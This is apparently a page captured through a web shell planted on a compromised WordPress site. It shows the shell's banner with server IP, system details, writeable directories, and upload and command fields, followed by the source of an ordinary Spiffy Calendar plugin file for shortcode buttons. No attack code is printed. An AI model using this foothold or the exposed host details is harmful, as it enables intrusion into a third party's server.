Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hopeinstoughton_www/wp-content/plugins/spiffy-calendar/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hopeinstoughton_www/wp-content/plugins/spiffy-calendar/includes/shortcode-buttons.php
<?php
/*
 ** Spiffy Calendar Shortcode Buttons
 **
 ** Copyright Spiffy Plugins
 **
*/
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

if (!class_exists("SPIFFYCALShortcode")) {
class SPIFFYCALShortcode {

	function __construct () {

		/* Add the shortcode handler to the admin page */
		add_action('media_buttons', array($this, 'add_encoder'));

		/* Add the scripts */
		add_action('admin_head', array ($this, 'add_scripts'));
	}

	function add_encoder() {
		global $spiffy_calendar;
		
		/* Place the form in the footer */
		add_action('admin_footer', array ($this, 'add_form') );

		/* Add the button to the media buttons */
		echo '&nbsp;<a href="#TB_inline?width=640&height=847&inlineId=spiffycal_sc_form" class="thickbox" id="add_spiffycal_button" title="Spiffy Calendar Shortcode"><img src="' . $spiffy_calendar->spiffy_icon . '" alt="Spiffy Calendar Shortcode" /></a>';
	}

	/*
	** Define the popup form
	*/
	function add_form() {
		global $spiffy_calendar, $wpdb;
?>

<style type="text/css">

#spiffycal_sc_wrap h2.popup-header { background: url(<?php echo $spiffy_calendar->spiffy_icon; ?>) top left no-repeat;	padding: 8px 0 5px 36px; height: 32px;}
#spiffycal_sc_wrap .hide { display: none; }
#spiffycal_sc_wrap .button-primary { color: #fff !important; }

.spiffycal_sc_section { margin-top: 20px; }
.spiffycal_sc_section label { display: inline-block; width: 200px; }
.spiffycal_sc_section span.spiffycal_sc_caption { font-size: .85em; color: #666; font-style: italic; width: 270px;
		display: inline-block; vertical-align: top; padding-left: 10px; }
		
#spiffycal_sc_categories, #spiffycal_sc_limit { vertical-align: top; }

</style>

<div id="spiffycal_sc_form" style="display:none;">
  <div id="spiffycal_sc_wrap">
	<div class="spiffycal-sc-header">
		<h2 class="popup-header"><?php _e( 'Spiffy Calendar Shortcode Embed', 'spiffy-calendar' ); ?></h2>
	</div>

	<form class="spiffy-form" id="spiffycal_sc_form_element">

		<div class="spiffycal_sc_section spiffycal-sc">
			<label for="spiffycal_short_code"><?php _e( 'Select shortcode:', 'spiffy-calendar' ); ?></label>

			<select id="spiffycal_short_code">
				<option value="spiffy-calendar" SELECTED><?php _e( 'Full Calendar', 'spiffy-calendar' ); ?></option>
				<option value="spiffy-minical"><?php _e( 'Mini Calendar', 'spiffy-calendar' ); ?></option>
				<option value="spiffy-week"><?php _e( 'Weekly Calendar', 'spiffy-calendar' ); ?></option>
				<option value="spiffy-todays-list"><?php _e( 'Today\'s Events', 'spiffy-calendar' ); ?></option>
				<option value="spiffy-upcoming-list"><?php _e( 'Upcoming Events', 'spiffy-calendar' ); ?></option>
				<!--option value="spiffy-camptix" <?php if (!$spiffy_calendar->bonus_addons_active()) echo 'DISABLED'; ?>><?php _e( 'Ticket Purchase Form', 'spiffy-calendar' ); ?></option-->
				<option value="spiffy-submit" <?php if (!$spiffy_calendar->bonus_addons_active()) echo 'DISABLED'; ?>><?php _e( 'Front End Submit Form', 'spiffy-calendar' ); ?></option>
			</select>
		</div>
			
		<div class="spiffycal_sc_section spiffycal_cat">	
			<label for="spiffycal_sc_categories">
				<?php _e('Select categories (optional):', 'spiffy-calendar'); ?>
				<p class="howto"><?php _e('CTRL+click to select multiple categories.', 'spiffy-calendar'); ?></p>
			</label>
			<select multiple id="spiffycal_sc_categories">
			<?php
			$sql = "SELECT * FROM " . $wpdb->get_blog_prefix().WP_SPIFFYCAL_CATEGORIES_TABLE;
			$cats = $wpdb->get_results($sql);
			foreach($cats as $cat) {
				 echo '<option value="'.$cat->category_id.'">' . esc_html(stripslashes($cat->category_name)) . '</option>';
			}
			?>
			</select>
		</div>

		<div class="spiffycal_sc_section spiffycal_list hide">
			<h4><?php _e('List Options', 'spiffy-calendar'); ?></h4>
			<label for="spiffycal_sc_limit">
				<?php _e('List limit (optional):', 'spiffy-calendar'); ?>
			</label>
			<input type="number" min="0" name="spiffycal_sc_limit" value="" id="spiffycal_sc_limit" />
			<p class="howto"><?php _e('Leave blank to list all events found.', 'spiffy-calendar'); ?></p>

			<div>
				<label for="spiffy_sc_list_style"><?php _e('Style', 'spiffy-calendar'); ?></label>
				<select id="spiffy_sc_list_style" />
					<option value="Popup" SELECTED><?php _e('Popup', 'spiffy-calendar'); ?></option>
					<option value="Expanded"><?php _e('Expanded', 'spiffy-calendar'); ?></option>
					<option value="Columns"><?php _e('Columns', 'spiffy-calendar'); ?></option>
				</select>
			</div>

			<div class="spiffycal_column_options hide">
				<label for="spiffycal_sc_num_columns">
					<?php _e('Number of columns', 'spiffy-calendar'); ?>
				</label>
				<input type="number" min="1" max="4" name="spiffycal_sc_num_columns" value="3" id="spiffycal_sc_num_columns" />
			</div>
			
			<label for="spiffycal_sc_none_found">
				<?php _e('None found text (optional):', 'spiffy-calendar'); ?>
			</label>
			<input type="text" name="spiffycal_sc_none_found" id="spiffycal_sc_none_found" />
		</div>

		<div class="spiffycal_sc_section spiffycal_show_date hide">	
			<label for="spiffy_sc_show_date"><?php _e('Display today\'s date?', 'spiffy-calendar'); ?></label>
			<select id="spiffy_sc_show_date" />
				<option value="false" SELECTED><?php _e('False', 'spiffy-calendar'); ?></option>
				<option value="true"><?php _e('True', 'spiffy-calendar'); ?></option>
			</select>
		</div>

		<div class="spiffycal_sc_section spiffycal_manage hide">	
			<div>
				<label for="spiffy_sc_show_manage"><?php _e('Display event management list?', 'spiffy-calendar'); ?></label>
				<select id="spiffy_sc_show_manage" />
					<option value="false" SELECTED><?php _e('False', 'spiffy-calendar'); ?></option>
					<option value="true"><?php _e('True', 'spiffy-calendar'); ?></option>
				</select>
			</div>
			
			<label for="spiffy_sc_manage_title">
				<?php _e('Title for event management list (optional):', 'spiffy-calendar'); ?>
			</label>
			<input type="text" name="spiffy_sc_manage_title" id="spiffy_sc_manage_title" />
			<p class="howto"><?php _e('Default is Your Events.', 'spiffy-calendar'); ?></p>
		</div>
		
		<div class="spiffycal_sc_section">	
			<div>	
				<a href="#" class="button-primary" class="spiffy-submit" id="spiffycal_sc_insert"><?php _e('Insert', 'spiffy-calendar'); ?></a>
				<input type="reset" value="Reset">
			</div>
		</div>
	</form>
  </div>
</div>

<?php
	}

	/*
	** Add scripts
	*/
	function add_scripts() {
?>

<script type="text/javascript">
  jQuery(function(){
	jQuery("#spiffycal_sc_insert").click(function() {
		output = '[';
		output += jQuery('#spiffycal_short_code').val();
		
		var selectedValues = jQuery('#spiffycal_sc_categories').val();
		if (selectedValues != null) {
			output += ' cat_list="' + selectedValues.join(",") + '"';
		}
		
		if (!jQuery(".spiffycal_list").hasClass ('hide')) {
			if ( jQuery('#spiffycal_sc_limit').val() && (jQuery('#spiffycal_sc_limit').val() > 0) ) output += ' limit=' + jQuery('#spiffycal_sc_limit').val();
			if (jQuery('#spiffy_sc_list_style').val()) output += ' style="' + jQuery('#spiffy_sc_list_style').val() + '"';
			if (jQuery('#spiffycal_sc_none_found').val()) output += ' none_found="' + jQuery('#spiffycal_sc_none_found').val() + '"';
		}

		if (!jQuery(".spiffycal_show_date").hasClass ('hide')) {
			if (jQuery('#spiffy_sc_show_date').val()) output += ' show_date="' + jQuery('#spiffy_sc_show_date').val() + '"';
		}
		
		if (!jQuery(".spiffycal_manage").hasClass ('hide')) {
			if (jQuery('#spiffy_sc_show_manage').val()) output += ' manage="' + jQuery('#spiffy_sc_show_manage').val() + '"';
			if (jQuery('#spiffy_sc_manage_title').val()) output += ' manage_title="' + jQuery('#spiffy_sc_manage_title').val() + '"';
		}
		
		if (!jQuery(".spiffycal_column_options").hasClass ('hide')) {
			if ( jQuery('#spiffycal_sc_num_columns').val() && (jQuery('#spiffycal_sc_num_columns').val() > 0) ) output += ' num_columns=' + jQuery('#spiffycal_sc_num_columns').val();
		}
		
		output += ']';
		send_to_editor(output);
	});
	
	jQuery("#spiffy_sc_list_style").change(function(evt) {
            var val = jQuery(this).val();
            switch ( val ) {
				case 'Columns':
					jQuery(".spiffycal_column_options").removeClass ('hide');	
					break;
				default:
					jQuery(".spiffycal_column_options").addClass ('hide');	
					break;
			}
	});
	
	jQuery("#spiffycal_short_code").change(function(evt) {
            var val = jQuery(this).val();
            switch ( val ) {
                case 'spiffy-calendar':
					jQuery(".spiffycal_cat").removeClass ('hide');	
					jQuery(".spiffycal_list").addClass ('hide');
					jQuery(".spiffycal_show_date").addClass ('hide');
					jQuery(".spiffycal_manage").addClass ('hide');
                    break;
				case 'spiffy-minical':
					jQuery(".spiffycal_cat").removeClass ('hide');	
					jQuery(".spiffycal_list").addClass ('hide');
					jQuery(".spiffycal_show_date").addClass ('hide');
					jQuery(".spiffycal_manage").addClass ('hide');
                    break;
				case 'spiffy-week':
					jQuery(".spiffycal_cat").removeClass ('hide');	
					jQuery(".spiffycal_list").addClass ('hide');
					jQuery(".spiffycal_show_date").addClass ('hide');
					jQuery(".spiffycal_manage").addClass ('hide');
                    break;
				// case 'spiffy-camptix':
					// jQuery(".spiffycal_cat").removeClass ('hide');	
					// jQuery(".spiffycal_list").addClass ('hide');
					// jQuery(".spiffycal_show_date").addClass ('hide');
					// jQuery(".spiffycal_manage").addClass ('hide');
                    // break;
                case 'spiffy-todays-list':
					jQuery(".spiffycal_cat").removeClass ('hide');	
					jQuery(".spiffycal_list").removeClass ('hide');
					jQuery(".spiffycal_show_date").removeClass ('hide');
					jQuery(".spiffycal_manage").addClass ('hide');
                    break;
                case 'spiffy-upcoming-list':
					jQuery(".spiffycal_cat").removeClass ('hide');	
					jQuery(".spiffycal_list").removeClass ('hide');
					jQuery(".spiffycal_show_date").addClass ('hide');
					jQuery(".spiffycal_manage").addClass ('hide');
                    break;
				case 'spiffy-submit':
					jQuery(".spiffycal_cat").addClass ('hide');	
					jQuery(".spiffycal_list").addClass ('hide');
					jQuery(".spiffycal_show_date").addClass ('hide');	
					jQuery(".spiffycal_manage").removeClass ('hide');
            }
	});
	

  });
</script>

<?php
	}

} // end of class
}

if (class_exists("SPIFFYCALShortcode")) {
	$spiffy_calendar_sc = new SPIFFYCALShortcode();
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit